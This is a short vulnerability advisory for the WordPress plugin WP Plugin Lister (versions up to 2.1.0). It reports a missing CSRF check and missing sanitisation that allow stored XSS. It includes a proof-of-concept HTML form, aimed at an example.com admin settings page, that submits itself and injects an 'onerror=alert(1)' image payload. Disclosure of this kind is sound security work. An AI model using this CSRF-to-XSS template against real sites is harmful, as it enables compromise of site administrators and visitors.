WordPress Plugin Vulnerabilities
WP Plugin Lister <= 2.1.0 - Settings Update to Stored XSS via CSRF
Description
The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack.
Proof of Concept
Make an admin open an HTML page containing the following code: <form action="https://example.com/wp-admin/options-general.php?page=plugin_lister.php&time=1670618030" method="POST"> <input type="text" name="title" value='"><img src=x onerror=alert(1)>'> <input type="text" name="description" value='"><img src=x onerror=alert(1)>'> </form> <script> document.forms[0].submit(); </script>
